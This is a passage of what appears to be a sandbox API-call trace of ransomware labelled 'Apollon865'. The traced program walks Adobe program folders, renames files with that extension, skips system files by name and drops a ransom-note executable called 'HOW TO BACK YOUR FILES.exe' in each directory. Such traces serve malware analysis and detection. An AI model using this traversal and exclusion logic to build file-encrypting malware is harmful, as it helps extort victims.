	[0056.745] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT.Apollon865") returned 81
	[0056.745] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cat"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT.Apollon865" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cat.apollon865"), dwFlags=0x1) returned 0
	[0056.747] GetLastError () returned 0x5
	[0056.748] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT MoveFileEx error 5\r\n") returned 99
	[0056.748] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT MoveFileEx error 5\r\n") returned 99
	[0056.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0056.748] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x24cf
	[0056.748] WriteFile (in: hFile=0x154, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x63, lpOverlapped=0x0) returned 1
	[0056.748] CloseHandle (hObject=0x154) returned 1
	[0056.748] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0056.748] CloseHandle (hObject=0x0) returned 0
	[0056.748] CloseHandle (hObject=0x0) returned 0
	[0056.748] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PDFShell.CHS", cAlternateFileName="")) returned 1
	[0056.748] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.748] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2=".") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="..") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="windows") returned -1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="bootmgr") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="temp") returned -1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="pagefile.sys") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="boot") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="ids.txt") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="ntuser.dat") returned 1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="perflogs") returned -1
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2="MSBuild") returned 1
	[0056.749] lstrlenW (lpString="PDFShell.CHS") returned 12
	[0056.749] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT") returned 70
	[0056.749] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.CHS" | out: lpString1="PDFShell.CHS") returned="PDFShell.CHS"
	[0056.749] lstrlenW (lpString="PDFShell.CHS") returned 12
	[0056.749] lstrlenW (lpString="Apollon865") returned 10
	[0056.749] lstrcmpiW (lpString1="FShell.CHS", lpString2="Apollon865") returned 1
	[0056.749] lstrlenW (lpString=".dll") returned 4
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2=".dll") returned 1
	[0056.749] lstrlenW (lpString=".lnk") returned 4
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2=".lnk") returned 1
	[0056.749] lstrlenW (lpString=".ini") returned 4
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2=".ini") returned 1
	[0056.749] lstrlenW (lpString=".sys") returned 4
	[0056.749] lstrcmpiW (lpString1="PDFShell.CHS", lpString2=".sys") returned 1
	[0056.749] lstrlenW (lpString="PDFShell.CHS") returned 12
	[0056.749] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.CHT" | out: lpString1="PDFShell.CHT") returned="PDFShell.CHT"
	[0056.749] lstrlenW (lpString="PDFShell.CHT") returned 12
	[0056.749] lstrlenW (lpString="Apollon865") returned 10
	[0056.749] lstrcmpiW (lpString1="FShell.CHT", lpString2="Apollon865") returned 1
	[0056.750] lstrlenW (lpString=".dll") returned 4
	[0056.750] lstrcmpiW (lpString1="PDFShell.CHT", lpString2=".dll") returned 1
	[0056.750] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.CZE" | out: lpString1="PDFShell.CZE") returned="PDFShell.CZE"
	[0056.750] lstrlenW (lpString="PDFShell.CZE") returned 12
	[0056.750] lstrlenW (lpString="Apollon865") returned 10
	[0056.750] lstrcmpiW (lpString1="FShell.CZE", lpString2="Apollon865") returned 1
	[0056.751] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.DAN" | out: lpString1="PDFShell.DAN") returned="PDFShell.DAN"
	[0056.751] lstrlenW (lpString="PDFShell.DAN") returned 12
	[0056.751] lstrlenW (lpString="Apollon865") returned 10
	[0056.751] lstrcmpiW (lpString1="FShell.DAN", lpString2="Apollon865") returned 1
	[0056.751] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.DEU" | out: lpString1="PDFShell.DEU") returned="PDFShell.DEU"
	[0056.751] lstrlenW (lpString="PDFShell.DEU") returned 12
	[0056.751] lstrlenW (lpString="Apollon865") returned 10
	[0056.752] lstrcmpiW (lpString1="FShell.DEU", lpString2="Apollon865") returned 1
	[0056.752] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="pdfshell.dll" | out: lpString1="pdfshell.dll") returned="pdfshell.dll"
	[0056.752] lstrlenW (lpString="pdfshell.dll") returned 12
	[0056.752] lstrlenW (lpString="Apollon865") returned 10
	[0056.752] lstrcmpiW (lpString1="fshell.dll", lpString2="Apollon865") returned 1
	[0056.752] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.ESP" | out: lpString1="PDFShell.ESP") returned="PDFShell.ESP"
	[0056.752] lstrlenW (lpString="PDFShell.ESP") returned 12
	[0056.752] lstrlenW (lpString="Apollon865") returned 10
	[0056.752] lstrcmpiW (lpString1="FShell.ESP", lpString2="Apollon865") returned 1
	[0056.752] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.EUQ" | out: lpString1="PDFShell.EUQ") returned="PDFShell.EUQ"
	[0056.752] lstrlenW (lpString="PDFShell.EUQ") returned 12
	[0056.752] lstrlenW (lpString="Apollon865") returned 10
	[0056.752] lstrcmpiW (lpString1="FShell.EUQ", lpString2="Apollon865") returned 1
	[0056.752] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.FRA" | out: lpString1="PDFShell.FRA") returned="PDFShell.FRA"
	[0056.752] lstrlenW (lpString="PDFShell.FRA") returned 12
	[0056.752] lstrlenW (lpString="Apollon865") returned 10
	[0056.752] lstrcmpiW (lpString1="FShell.FRA", lpString2="Apollon865") returned 1
	[0056.752] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.HRV" | out: lpString1="PDFShell.HRV") returned="PDFShell.HRV"
	[0056.752] lstrlenW (lpString="PDFShell.HRV") returned 12
	[0056.752] lstrlenW (lpString="Apollon865") returned 10
	[0056.752] lstrcmpiW (lpString1="FShell.HRV", lpString2="Apollon865") returned 1
	[0056.752] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.HUN" | out: lpString1="PDFShell.HUN") returned="PDFShell.HUN"
	[0056.752] lstrlenW (lpString="PDFShell.HUN") returned 12
	[0056.752] lstrlenW (lpString="Apollon865") returned 10
	[0056.753] lstrcmpiW (lpString1="FShell.HUN", lpString2="Apollon865") returned 1
	[0056.753] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.ITA" | out: lpString1="PDFShell.ITA") returned="PDFShell.ITA"
	[0056.753] lstrlenW (lpString="PDFShell.ITA") returned 12
	[0056.753] lstrlenW (lpString="Apollon865") returned 10
	[0056.753] lstrcmpiW (lpString1="FShell.ITA", lpString2="Apollon865") returned 1
	[0056.753] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.JPN" | out: lpString1="PDFShell.JPN") returned="PDFShell.JPN"
	[0056.753] lstrlenW (lpString="PDFShell.JPN") returned 12
	[0056.753] lstrlenW (lpString="Apollon865") returned 10
	[0056.753] lstrcmpiW (lpString1="FShell.JPN", lpString2="Apollon865") returned 1
	[0056.753] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.KOR" | out: lpString1="PDFShell.KOR") returned="PDFShell.KOR"
	[0056.753] lstrlenW (lpString="PDFShell.KOR") returned 12
	[0056.753] lstrlenW (lpString="Apollon865") returned 10
	[0056.753] lstrcmpiW (lpString1="FShell.KOR", lpString2="Apollon865") returned 1
	[0056.753] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.NLD" | out: lpString1="PDFShell.NLD") returned="PDFShell.NLD"
	[0056.753] lstrlenW (lpString="PDFShell.NLD") returned 12
	[0056.753] lstrlenW (lpString="Apollon865") returned 10
	[0056.753] lstrcmpiW (lpString1="FShell.NLD", lpString2="Apollon865") returned 1
	[0056.753] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.NOR" | out: lpString1="PDFShell.NOR") returned="PDFShell.NOR"
	[0056.753] lstrlenW (lpString="PDFShell.NOR") returned 12
	[0056.753] lstrlenW (lpString="Apollon865") returned 10
	[0056.753] lstrcmpiW (lpString1="FShell.NOR", lpString2="Apollon865") returned 1
	[0056.753] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.POL" | out: lpString1="PDFShell.POL") returned="PDFShell.POL"
	[0056.753] lstrlenW (lpString="PDFShell.POL") returned 12
	[0056.754] lstrlenW (lpString="Apollon865") returned 10
	[0056.754] lstrcmpiW (lpString1="FShell.POL", lpString2="Apollon865") returned 1
	[0056.754] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.PTB" | out: lpString1="PDFShell.PTB") returned="PDFShell.PTB"
	[0056.754] lstrlenW (lpString="PDFShell.PTB") returned 12
	[0056.754] lstrlenW (lpString="Apollon865") returned 10
	[0056.754] lstrcmpiW (lpString1="FShell.PTB", lpString2="Apollon865") returned 1
	[0056.754] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.RUM" | out: lpString1="PDFShell.RUM") returned="PDFShell.RUM"
	[0056.754] lstrlenW (lpString="PDFShell.RUM") returned 12
	[0056.754] lstrlenW (lpString="Apollon865") returned 10
	[0056.754] lstrcmpiW (lpString1="FShell.RUM", lpString2="Apollon865") returned 1
	[0056.754] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.RUS" | out: lpString1="PDFShell.RUS") returned="PDFShell.RUS"
	[0056.754] lstrlenW (lpString="PDFShell.RUS") returned 12
	[0056.754] lstrlenW (lpString="Apollon865") returned 10
	[0056.754] lstrcmpiW (lpString1="FShell.RUS", lpString2="Apollon865") returned 1
	[0056.754] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.SKY" | out: lpString1="PDFShell.SKY") returned="PDFShell.SKY"
	[0056.754] lstrlenW (lpString="PDFShell.SKY") returned 12
	[0056.754] lstrlenW (lpString="Apollon865") returned 10
	[0056.754] lstrcmpiW (lpString1="FShell.SKY", lpString2="Apollon865") returned 1
	[0056.754] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.SLV" | out: lpString1="PDFShell.SLV") returned="PDFShell.SLV"
	[0056.754] lstrlenW (lpString="PDFShell.SLV") returned 12
	[0056.754] lstrlenW (lpString="Apollon865") returned 10
	[0056.754] lstrcmpiW (lpString1="FShell.SLV", lpString2="Apollon865") returned 1
	[0056.754] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.SUO" | out: lpString1="PDFShell.SUO") returned="PDFShell.SUO"
	[0056.755] lstrlenW (lpString="PDFShell.SUO") returned 12
	[0056.755] lstrlenW (lpString="Apollon865") returned 10
	[0056.755] lstrcmpiW (lpString1="FShell.SUO", lpString2="Apollon865") returned 1
	[0056.755] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.SVE" | out: lpString1="PDFShell.SVE") returned="PDFShell.SVE"
	[0056.755] lstrlenW (lpString="PDFShell.SVE") returned 12
	[0056.755] lstrlenW (lpString="Apollon865") returned 10
	[0056.755] lstrcmpiW (lpString1="FShell.SVE", lpString2="Apollon865") returned 1
	[0056.755] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.TUR" | out: lpString1="PDFShell.TUR") returned="PDFShell.TUR"
	[0056.755] lstrlenW (lpString="PDFShell.TUR") returned 12
	[0056.755] lstrlenW (lpString="Apollon865") returned 10
	[0056.755] lstrcmpiW (lpString1="FShell.TUR", lpString2="Apollon865") returned 1
	[0056.755] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.UKR" | out: lpString1="PDFShell.UKR") returned="PDFShell.UKR"
	[0056.755] lstrlenW (lpString="PDFShell.UKR") returned 12
	[0056.755] lstrlenW (lpString="Apollon865") returned 10
	[0056.755] lstrcmpiW (lpString1="FShell.UKR", lpString2="Apollon865") returned 1
	[0056.756] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe"
	[0056.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ed8 | out: hHeap=0x580000) returned 1
	[0056.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0056.756] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe") returned 28
	[0056.756] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe"
	[0056.756] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.760] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39e7be30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39e7be30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.760] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.760] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.760] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.760] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39e7be30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39e7be30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.760] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.760] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.760] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.760] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.760] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e7be30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39e7be30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.760] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.760] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="Apollon865.txt.exe") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2=".") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="..") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="windows") returned -1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="bootmgr") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="temp") returned -1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="pagefile.sys") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="boot") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="ids.txt") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="ntuser.dat") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="perflogs") returned 1
	[0056.760] lstrcmpiW (lpString1="Reader 10.0", lpString2="MSBuild") returned 1
	[0056.760] lstrlenW (lpString="Reader 10.0") returned 11
	[0056.761] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\*") returned 30
	[0056.761] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Reader 10.0" | out: lpString1="Reader 10.0") returned="Reader 10.0"
	[0056.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0056.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5983a8
	[0056.761] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78f0 | out: ListHead=0x5b76b0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0056.761] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 0
	[0056.761] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.761] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b78f0
	[0056.761] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0"
	[0056.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0056.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0056.761] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned 40
	[0056.761] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0"
	[0056.761] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.761] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.765] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.765] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39e7be30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39e7be30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.765] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.765] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.765] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.765] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39e7be30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39e7be30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.769] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.769] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.769] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.769] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.769] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="Apollon865.txt.exe") returned 1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2=".") returned 1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="..") returned 1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="windows") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="bootmgr") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="temp") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="pagefile.sys") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="boot") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="ids.txt") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="ntuser.dat") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="perflogs") returned -1
	[0056.769] lstrcmpiW (lpString1="Benioku.htm", lpString2="MSBuild") returned -1
	[0056.770] lstrlenW (lpString="Benioku.htm") returned 11
	[0056.770] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned 42
	[0056.770] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Benioku.htm" | out: lpString1="Benioku.htm") returned="Benioku.htm"
	[0056.770] lstrlenW (lpString="Benioku.htm") returned 11
	[0056.770] lstrlenW (lpString="Apollon865") returned 10
	[0056.770] lstrcmpiW (lpString1="enioku.htm", lpString2="Apollon865") returned 1
	[0056.770] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Berime.htm" | out: lpString1="Berime.htm") returned="Berime.htm"
	[0056.770] lstrlenW (lpString="Berime.htm") returned 10
	[0056.770] lstrlenW (lpString="Apollon865") returned 10
	[0056.770] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Esl" | out: lpString1="Esl") returned="Esl"
	[0056.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0056.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c55f8
	[0056.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78f0 | out: ListHead=0x5b76b0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0056.770] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e7be30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39e7be30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.770] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
